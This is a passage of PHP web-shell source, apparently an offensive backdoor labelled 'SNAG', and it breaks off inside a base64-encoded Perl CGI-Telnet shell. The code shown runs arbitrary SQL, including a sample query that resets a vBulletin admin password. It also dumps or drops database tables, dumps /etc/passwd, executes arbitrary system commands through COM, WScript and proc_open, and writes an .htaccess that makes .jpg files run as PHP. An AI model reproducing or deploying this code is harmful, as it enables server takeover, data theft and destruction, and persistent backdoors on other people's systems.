752 if (isset($dbpass)) {
753 $dbform.= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
754 }
755 if (isset($dbport)) {
756 $dbform.= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
757 }
758 if (isset($dbname)) {
759 $dbform.= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
760 }
761 if (isset($charset)) {
762 $dbform.= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
763 }
764 if ($doing == 'backupmysql' && $saveasfile) {
765 if (!$table) {
766 m('Please choose the table');
767 } else {
768 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
769 $table = array_flip($table);
770 $fp = @fopen($path, 'w');
771 if ($fp) {
772 $result = q('SHOW tables');
773 if (!$result) p('<h2>' . mysql_error() . '</h2>');
774 $mysqldata = '';
775 while ($currow = mysql_fetch_array($result)) {
776 if (isset($table[$currow[0]])) {
777 sqldumptable($currow[0], $fp);
778 }
779 }
780 fclose($fp);
781 $fileurl = str_replace(SA_ROOT, '', $path);
782 m('Database has success backup to <a href="' . $fileurl . '" target="_blank">' . $path . '</a>');
783 mysql_close();
784 } else {
785 m('Backup failed');
786 }
787 }
788 }
789 if ($insert && $insertsql) {
790 $keystr = $valstr = $tmp = '';
791 foreach ($insertsql as $key => $val) {
792 if ($val) {
793 $keystr.= $tmp . $key;
794 $valstr.= $tmp . "'" . addslashes($val) . "'";
795 $tmp = ',';
796 }
797 }
798 if ($keystr && $valstr) {
799 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
800 m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
801 }
802 }
803 if ($update && $insertsql && $base64) {
804 $valstr = $tmp = '';
805 foreach ($insertsql as $key => $val) {
806 $valstr.= $tmp . $key . "='" . addslashes($val) . "'";
807 $tmp = ',';
808 }
809 if ($valstr) {
810 $where = base64_decode($base64);
811 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
812 m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
813 }
814 }
815 if ($doing == 'del' && $base64) {
816 $where = base64_decode($base64);
817 $delete_sql = "DELETE FROM $tablename WHERE $where";
818 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
819 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
820 }
821 if ($tablename && $doing == 'drop') {
822 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
823 if (q("DROP TABLE $tablename")) {
824 m('Drop table of success');
825 $tablename = '';
826 } else {
827 m(mysql_error());
828 }
829 }
830 $charsets = array('' => 'Default', 'gbk' => 'GBK', 'big5' => 'Big5', 'utf8' => 'UTF-8', 'latin1' => 'Latin1');
831 formhead(array('title' => 'MYSQL Manager'));
832 makehide('action', 'sqladmin');
833 p('<p>');
834 p('DBHost:');
835 makeinput(array('name' => 'dbhost', 'size' => 20, 'value' => $dbhost));
836 p(':');
837 makeinput(array('name' => 'dbport', 'size' => 4, 'value' => $dbport));
838 p('DBUser:');
839 makeinput(array('name' => 'dbuser', 'size' => 15, 'value' => $dbuser));
840 p('DBPass:');
841 makeinput(array('name' => 'dbpass', 'size' => 15, 'value' => $dbpass));
842 p('DBCharset:');
843 makeselect(array('name' => 'charset', 'option' => $charsets, 'selected' => $charset));
844 makeinput(array('name' => 'connect', 'value' => 'Connect', 'type' => 'submit', 'class' => 'bt'));
845 p('</p>');
846 formfoot();;
847 echo '<script type="text/javascript">
848function editrecord(action, base64, tablename){
849 if (action == \'del\') {
850 if (!confirm(\'Is or isn\\\'t deletion record?\')) return;
851 }
852 $(\'recordlist\').doing.value=action;
853 $(\'recordlist\').base64.value=base64;
854 $(\'recordlist\').tablename.value=tablename;
855 $(\'recordlist\').submit();
856}
857function moddbname(dbname) {
858 if(!dbname) return;
859 $(\'setdbname\').dbname.value=dbname;
860 $(\'setdbname\').submit();
861}
862function settable(tablename,doing,page) {
863 if(!tablename) return;
864 if (doing) {
865 $(\'settable\').doing.value=doing;
866 }
867 if (page) {
868 $(\'settable\').page.value=page;
869 }
870 $(\'settable\').tablename.value=tablename;
871 $(\'settable\').submit();
872}
873</script>
874';
875 formhead(array('name' => 'recordlist'));
876 makehide('doing');
877 makehide('action', 'sqladmin');
878 makehide('base64');
879 makehide('tablename');
880 p($dbform);
881 formfoot();
882 formhead(array('name' => 'setdbname'));
883 makehide('action', 'sqladmin');
884 p($dbform);
885 if (!$dbname) {
886 makehide('dbname');
887 }
888 formfoot();
889 formhead(array('name' => 'settable'));
890 makehide('action', 'sqladmin');
891 p($dbform);
892 makehide('tablename');
893 makehide('page', $page);
894 makehide('doing');
895 formfoot();
896 $cachetables = array();
897 $pagenum = 30;
898 $page = intval($page);
899 if ($page) {
900 $start_limit = ($page - 1) * $pagenum;
901 } else {
902 $start_limit = 0;
903 $page = 1;
904 }
905 if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
906 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
907 $mysqlver = mysql_get_server_info();
908 p('<p>MySQL ' . $mysqlver . ' running in ' . $dbhost . ' as ' . $dbuser . '@' . $dbhost . '</p>');
909 $highver = $mysqlver > '4.1' ? 1 : 0;
910 $query = q("SHOW DATABASES");
911 $dbs = array();
912 $dbs[] = '-- Select a database --';
913 while ($db = mysql_fetch_array($query)) {
914 $dbs[$db['Database']] = $db['Database'];
915 }
916 makeselect(array('title' => 'Please select a database:', 'name' => 'db[]', 'option' => $dbs, 'selected' => $dbname, 'onchange' => 'moddbname(this.options[this.selectedIndex].value)', 'newline' => 1));
917 $tabledb = array();
918 if ($dbname) {
919 p('<p>');
920 p('Current dababase: <a href="javascript:moddbname(\'' . $dbname . '\');">' . $dbname . '</a>');
921 if ($tablename) {
922 p(' | Current Table: <a href="javascript:settable(\'' . $tablename . '\');">' . $tablename . '</a> [ <a href="javascript:settable(\'' . $tablename . '\', \'insert\');">Insert</a> | <a href="javascript:settable(\'' . $tablename . '\', \'structure\');">Structure</a> | <a href="javascript:settable(\'' . $tablename . '\', \'drop\');">Drop</a> ]');
923 }
924 p('</p>');
925 mysql_select_db($dbname);
926 $getnumsql = '';
927 $runquery = 0;
928 if ($sql_query) {
929 $runquery = 1;
930 }
931 $allowedit = 0;
932 if ($tablename && !$sql_query) {
933 $sql_query = "SELECT * FROM $tablename";
934 $getnumsql = $sql_query;
935 $sql_query = $sql_query . " LIMIT $start_limit, $pagenum";
936 $allowedit = 1;
937 }
938 p('<form action="' . $self . '" method="POST">');
939 p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>' . $dbname . '</font></b>:<BR>Example VBB Password: <font color=red>snaghacker</font><BR><font color=yellow>UPDATE `user` SET `password` = \'6b14c0c8319cc22b5fce7d3798d6b71f\', salt = \'p5T\' WHERE `userid` = \'1\' </font>
940 </td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">' . htmlspecialchars($sql_query, ENT_QUOTES) . '</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
941 makehide('tablename', $tablename);
942 makehide('action', 'sqladmin');
943 p($dbform);
944 p('</form>');
945 if ($tablename || ($runquery && $sql_query)) {
946 if ($doing == 'structure') {
947 $result = q("SHOW COLUMNS FROM $tablename");
948 $rowdb = array();
949 while ($row = mysql_fetch_array($result)) {
950 $rowdb[] = $row;
951 }
952 p('<table border="0" cellpadding="3" cellspacing="0">');
953 p('<tr class="head">');
954 p('<td>Field</td>');
955 p('<td>Type</td>');
956 p('<td>Null</td>');
957 p('<td>Key</td>');
958 p('<td>Default</td>');
959 p('<td>Extra</td>');
960 p('</tr>');
961 foreach ($rowdb as $row) {
962 $thisbg = bg();
963 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
964 p('<td>' . $row['Field'] . '</td>');
965 p('<td>' . $row['Type'] . '</td>');
966 p('<td>' . $row['Null'] . ' </td>');
967 p('<td>' . $row['Key'] . ' </td>');
968 p('<td>' . $row['Default'] . ' </td>');
969 p('<td>' . $row['Extra'] . ' </td>');
970 p('</tr>');
971 }
972 tbfoot();
973 } elseif ($doing == 'insert' || $doing == 'edit') {
974 $result = q('SHOW COLUMNS FROM ' . $tablename);
975 while ($row = mysql_fetch_array($result)) {
976 $rowdb[] = $row;
977 }
978 $rs = array();
979 if ($doing == 'insert') {
980 p('<h2>Insert new line in ' . $tablename . ' table »</h2>');
981 } else {
982 p('<h2>Update record in ' . $tablename . ' table »</h2>');
983 $where = base64_decode($base64);
984 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
985 $rs = mysql_fetch_array($result);
986 }
987 p('<form method="post" action="' . $self . '">');
988 p($dbform);
989 makehide('action', 'sqladmin');
990 makehide('tablename', $tablename);
991 p('<table border="0" cellpadding="3" cellspacing="0">');
992 foreach ($rowdb as $row) {
993 if ($rs[$row['Field']]) {
994 $value = htmlspecialchars($rs[$row['Field']]);
995 } else {
996 $value = '';
997 }
998 $thisbg = bg();
999 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1000 p('<td><b>' . $row['Field'] . '</b><br />' . $row['Type'] . '</td><td><textarea class="area" name="insertsql[' . $row['Field'] . ']" style="width:500px;height:60px;overflow:auto;">' . $value . '</textarea></td></tr>');
1001 }
1002 if ($doing == 'insert') {
1003 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
1004 } else {
1005 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
1006 makehide('base64', $base64);
1007 }
1008 p('</table></form>');
1009 } else {
1010 $querys = @explode(';', $sql_query);
1011 foreach ($querys as $num => $query) {
1012 if ($query) {
1013 p("<p><b>Query#{$num} : " . htmlspecialchars($query, ENT_QUOTES) . "</b></p>");
1014 switch (qy($query)) {
1015 case 0:
1016 p('<h2>Error : ' . mysql_error() . '</h2>');
1017 break;
1018 case 1:
1019 if (strtolower(substr($query, 0, 13)) == 'select * from') {
1020 $allowedit = 1;
1021 }
1022 if ($getnumsql) {
1023 $tatol = mysql_num_rows(q($getnumsql));
1024 $multipage = multi($tatol, $pagenum, $page, $tablename);
1025 }
1026 if (!$tablename) {
1027 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
1028 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
1029 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i", $sql_line, $matches);
1030 $tablename = $matches[1][0];
1031 }
1032 $result = q($query);
1033 p($multipage);
1034 p('<table border="0" cellpadding="3" cellspacing="0">');
1035 p('<tr class="head">');
1036 if ($allowedit) p('<td>Action</td>');
1037 $fieldnum = @mysql_num_fields($result);
1038 for ($i = 0;$i < $fieldnum;$i++) {
1039 $name = @mysql_field_name($result, $i);
1040 $type = @mysql_field_type($result, $i);
1041 $len = @mysql_field_len($result, $i);
1042 p("<td nowrap>$name<br><span>$type($len)</span></td>");
1043 }
1044 p('</tr>');
1045 while ($mn = @mysql_fetch_assoc($result)) {
1046 $thisbg = bg();
1047 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1048 $where = $tmp = $b1 = '';
1049 foreach ($mn as $key => $inside) {
1050 if ($inside) {
1051 $where.= $tmp . $key . "='" . addslashes($inside) . "'";
1052 $tmp = ' AND ';
1053 }
1054 $b1.= '<td nowrap>' . html_clean($inside) . ' </td>';
1055 }
1056 $where = base64_encode($where);
1057 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \'' . $where . '\', \'' . $tablename . '\');">Edit</a> | <a href="javascript:editrecord(\'del\', \'' . $where . '\', \'' . $tablename . '\');">Del</a></td>');
1058 p($b1);
1059 p('</tr>');
1060 unset($b1);
1061 }
1062 tbfoot();
1063 p($multipage);
1064 break;
1065 case 2:
1066 $ar = mysql_affected_rows();
1067 p('<h2>affected rows : <b>' . $ar . '</b></h2>');
1068 break;
1069 }
1070 }
1071 }
1072 }
1073 } else {
1074 $query = q("SHOW TABLE STATUS");
1075 $table_num = $table_rows = $data_size = 0;
1076 $tabledb = array();
1077 while ($table = mysql_fetch_array($query)) {
1078 $data_size = $data_size + $table['Data_length'];
1079 $table_rows = $table_rows + $table['Rows'];
1080 $table['Data_length'] = sizecount($table['Data_length']);
1081 $table_num++;
1082 $tabledb[] = $table;
1083 }
1084 $data_size = sizecount($data_size);
1085 unset($table);
1086 p('<table border="0" cellpadding="0" cellspacing="0">');
1087 p('<form action="' . $self . '" method="POST">');
1088 makehide('action', 'sqladmin');
1089 p($dbform);
1090 p('<tr class="head">');
1091 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
1092 p('<td>Name</td>');
1093 p('<td>Rows</td>');
1094 p('<td>Data_length</td>');
1095 p('<td>Create_time</td>');
1096 p('<td>Update_time</td>');
1097 if ($highver) {
1098 p('<td>Engine</td>');
1099 p('<td>Collation</td>');
1100 }
1101 p('</tr>');
1102 foreach ($tabledb as $key => $table) {
1103 $thisbg = bg();
1104 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1105 p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="' . $table['Name'] . '" /></td>');
1106 p('<td><a href="javascript:settable(\'' . $table['Name'] . '\');">' . $table['Name'] . '</a> [ <a href="javascript:settable(\'' . $table['Name'] . '\', \'insert\');">Insert</a> | <a href="javascript:settable(\'' . $table['Name'] . '\', \'structure\');">Structure</a> | <a href="javascript:settable(\'' . $table['Name'] . '\', \'drop\');">Drop</a> ]</td>');
1107 p('<td>' . $table['Rows'] . '</td>');
1108 p('<td>' . $table['Data_length'] . '</td>');
1109 p('<td>' . $table['Create_time'] . '</td>');
1110 p('<td>' . $table['Update_time'] . '</td>');
1111 if ($highver) {
1112 p('<td>' . $table['Engine'] . '</td>');
1113 p('<td>' . $table['Collation'] . '</td>');
1114 }
1115 p('</tr>');
1116 }
1117 p('<tr class=fout>');
1118 p('<td> </td>');
1119 p('<td>Total tables: ' . $table_num . '</td>');
1120 p('<td>' . $table_rows . '</td>');
1121 p('<td>' . $data_size . '</td>');
1122 p('<td colspan="' . ($highver ? 4 : 2) . '"> </td>');
1123 p('</tr>');
1124 p("<tr class=\"fout\"><td colspan=\"" . ($highver ? 8 : 6) . "\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"" . SA_ROOT . $_SERVER['HTTP_HOST'] . "_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
1125 makehide('doing', 'backupmysql');
1126 formfoot();
1127 p("</table>");
1128 fr($query);
1129 }
1130 }
1131 }
1132 tbfoot();
1133 @mysql_close();
1134} elseif ($action == 'etcpwd') {
1135 formhead(array('title' => 'Get /etc/passwd'));
1136 makehide('action', 'etcpwd');
1137 makehide('dir', $nowpath);
1138 $i = 0;
1139 echo "<p><br><textarea class=\"area\" id=\"phpcodexxx\" name=\"phpcodexxx\" cols=\"100\" rows=\"25\">";
1140 while ($i < 60000) {
1141 $line = posix_getpwuid($i);
1142 if (!empty($line)) {
1143 while (list($key, $vba_etcpwd) = each($line)) {
1144 echo "" . $vba_etcpwd . "\n";
1145 break;
1146 }
1147 }
1148 $i++;
1149 }
1150 echo "</textarea></p>";
1151 formfoot();
1152} elseif ($action == 'command') {
1153 if (IS_WIN && IS_COM) {
1154 if ($program && $parameter) {
1155 $shell = new COM('Shell.Application');
1156 $a = $shell->ShellExecute($program, $parameter);
1157 m('Program run has ' . (!$a ? 'success' : 'fail'));
1158 }
1159 !$program && $program = 'c:\windows\system32\cmd.exe';
1160 !$parameter && $parameter = '/c net start > ' . SA_ROOT . 'log.txt';
1161 formhead(array('title' => 'Execute Program'));
1162 makehide('action', 'shell');
1163 makeinput(array('title' => 'Program', 'name' => 'program', 'value' => $program, 'newline' => 1));
1164 p('<p>');
1165 makeinput(array('title' => 'Parameter', 'name' => 'parameter', 'value' => $parameter));
1166 makeinput(array('name' => 'submit', 'class' => 'bt', 'type' => 'submit', 'value' => 'Execute'));
1167 p('</p>');
1168 formfoot();
1169 }
1170 formhead(array('title' => 'Execute Command'));
1171 makehide('action', 'shell');
1172 if (IS_WIN && IS_COM) {
1173 $execfuncdb = array('phpfunc' => 'phpfunc', 'wscript' => 'wscript', 'proc_open' => 'proc_open');
1174 makeselect(array('title' => 'Use:', 'name' => 'execfunc', 'option' => $execfuncdb, 'selected' => $execfunc, 'newline' => 1));
1175 }
1176 p('<p>');
1177 makeinput(array('title' => 'Command', 'name' => 'command', 'value' => $command));
1178 makeinput(array('name' => 'submit', 'class' => 'bt', 'type' => 'submit', 'value' => 'Execute'));
1179 p('</p>');
1180 formfoot();
1181 if ($command) {
1182 p('<hr width="100%" noshade /><pre>');
1183 if ($execfunc == 'wscript' && IS_WIN && IS_COM) {
1184 $wsh = new COM('WScript.shell');
1185 $exec = $wsh->exec('cmd.exe /c ' . $command);
1186 $stdout = $exec->StdOut();
1187 $stroutput = $stdout->ReadAll();
1188 echo $stroutput;
1189 } elseif ($execfunc == 'proc_open' && IS_WIN && IS_COM) {
1190 $descriptorspec = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w'));
1191 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
1192 if (is_resource($process)) {
1193 fwrite($pipes[0], $command . "\r\n");
1194 fwrite($pipes[0], "exit\r\n");
1195 fclose($pipes[0]);
1196 while (!feof($pipes[1])) {
1197 echo fgets($pipes[1], 1024);
1198 }
1199 fclose($pipes[1]);
1200 while (!feof($pipes[2])) {
1201 echo fgets($pipes[2], 1024);
1202 }
1203 fclose($pipes[2]);
1204 proc_close($process);
1205 }
1206 } else {
1207 echo (execute($command));
1208 }
1209 p('</pre>');
1210 }
1211} elseif ($action == 'error.log') {
1212 mkdir('error', 0755);
1213 chdir('error');
1214 $kokdosya = ".htaccess";
1215 $dosya_adi = "$kokdosya";
1216 $dosya = fopen($dosya_adi, 'w') or die("Can not open file!");
1217 $metin = "Options +FollowSymLinks +Indexes
1218DirectoryIndex default.html
1219## START ##
1220Options +ExecCGI
1221AddHandler cgi-script log cgi pl tg love h4 tgb x-zone
1222AddType application/x-httpd-php .jpg
1223RewriteEngine on
1224RewriteRule (.*)\.war$ .log
1225## END ##";
1226 fwrite($dosya, $metin);
1227 fclose($dosya);
1228 $pythonp = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiQ0dJLVRlbG5ldCBWZXJzaW9uIDEuNSI7CiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDI1NSwgMCwgMCksIDBweCAwcHggNXB4IHJnYigyNTUsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+U05BRzwvZm9udD4iOwoKJFBhc3N3b3JkID0gInh4eCI7CQkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzCgkJCQkjIHRvIGxvZ2luLgpzdWIgSXNfV2luKCl7Cgkkb3MgPSAmdHJpbSgkRU5WeyJTRVJWRVJfU09GVFdBUkUifSk7CglpZigkb3MgPX4gbS93aW4vaSl7CgkJcmV0dXJuIDE7Cgl9ZWxzZXsKCQlyZXR1cm4gMDsKCX0KfQokV2luTlQgPSAmSXNfV2luKCk7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZgoJCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3JpcHQgb24gYSBXaW5kb3dzIE5UCgkJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBvbiBVbml4LCB5b3UKCQkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuCgokTlRDbWRTZXAgPSAiJiI7CQkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMKCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFdpbmRvd3MgTlQuCgokVW5peENtZFNlcCA9ICI7IjsJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4KCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTA7CQkjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxlZAoJCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzCgkJCQkJIyB1c2VmdWwgZm9yIGNvbW1hbmRzIHRoYXQgbWF5IGhhbmcgb3IgdGhhdAoJCQkJCSMgdGFrZSB2ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4KCQkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzCgkJCQkJIyBpZ25vcmVkIG9uIE5UIFNlcnZlcnMuCgokU2hvd0R5bmFtaWNPdXRwdXQgPSAxOwkJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2VudCB0byB0aGUKCQkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQoJCQkJCSMgaXQgaXMgYnVmZmVyZWQgYW5kIHNlbmQgd2hlbiB0aGUgY29tbWFuZAoJCQkJCSMgY29tcGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQoJCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0CgkJCQkJIyBpcyBiZWluZyBnZW5lcmF0ZWQuCgojIERPTidUIENIQU5HRSBBTllUSElORyBCRUxPVyBUSElTIExJTkUgVU5MRVNTIFlPVSBLTk9XIFdIQVQgWU9VJ1JFIERPSU5HICEhCgokQ21kU2VwID0gKCRXaW5OVCA/ICROVENtZFNlcCA6ICRVbml4Q21kU2VwKTsKJENtZFB3ZCA9ICgkV2luTlQgPyAiY2QiIDogInB3ZCIpOwokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsKJFJlZGlyZWN0b3IgPSAoJFdpbk5UID8gIiAyPiYxIDE+JjIiIDogIiAxPiYxIDI+JjEiKTsKJGNvbHM9IDEzMDsKJHJvd3M9IDI2OwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmVhZHMgdGhlIGlucHV0IHNlbnQgYnkgdGhlIGJyb3dzZXIgYW5kIHBhcnNlcyB0aGUgaW5wdXQgdmFyaWFibGVzLiBJdAojIHBhcnNlcyBHRVQsIFBPU1QgYW5kIG11bHRpcGFydC9mb3JtLWRhdGEgdGhhdCBpcyB1c2VkIGZvciB1cGxvYWRpbmcgZmlsZXMuCiMgVGhlIGZpbGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRpbnsnZmlsZWRhdGEnfS4KIyBPdGhlciB2YXJpYWJsZXMgY2FuIGJlIGFjY2Vzc2VkIHVzaW5nICRpbnsndmFyJ30sIHdoZXJlIHZhciBpcyB0aGUgbmFtZSBvZgojIHRoZSB2YXJpYWJsZS4gTm90ZTogTW9zdCBvZiB0aGUgY29kZSBpbiB0aGlzIGZ1bmN0aW9uIGlzIHRha2VuIGZyb20gb3RoZXIgQ0dJCiMgc2NyaXB0cy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUmVhZFBhcnNlIAp7Cglsb2NhbCAoKmluKSA9IEBfIGlmIEBfOwoJbG9jYWwgKCRpLCAkbG9jLCAka2V5LCAkdmFsKTsKCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOwoJaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiR0VUIikKCXsKCQkkaW4gPSAkRU5WeydRVUVSWV9TVFJJTkcnfTsKCX0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1QiKQoJewoJCWJpbm1vZGUoU1RESU4pIGlmICRNdWx0aXBhcnRGb3JtRGF0YSAmICRXaW5OVDsKCQlyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOwoJfQoJIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pCgl7CgkJJEJvdW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2NyAKCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyAKCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOwoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsKCQkkSGVhZGVyID0gJGA7CgkJJEJvZHkgPSAkJzsKIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5OwoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgCgkJJGlueydmJ30gPSAkMTsgCgkJJGlueydmJ30gPX4gcy9cIi8vZzsKCQkkaW57J2YnfSA9fiBzL1xzLy9nOwoKCQkjIHBhcnNlIHRyYWlsZXIKCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQoJCXsgCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOwoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87CgkJCSRrZXkgPSAkMTsKCQkJJHZhbCA9ICQnOwoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gPSAkdmFsOyAKCQl9Cgl9CgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkKCXsKCQlAaW4gPSBzcGxpdCgvJi8sICRpbik7CgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQoJCXsKCQkJJGluWyRpXSA9fiBzL1wrLyAvZzsKCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsKCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7CgkJCSRpbnska2V5fSAuPSAkdmFsOwoJCX0KCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgZnVuY3Rpb24gRW5jb2RlRGlyOiBlbmNvZGUgYmFzZTY0IFBhdGgKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRW5jb2RlRGlyCnsKCW15ICRkaXIgPSBzaGlmdDsKCSRkaXIgPSB0cmltKGVuY29kZV9iYXNlNjQoJGRpcikpOwoJJGRpciA9fiBzLyhccnxcbikvLzsKCXJldHVybiAkZGlyOwp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgUGFnZSBIZWFkZXIKIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBza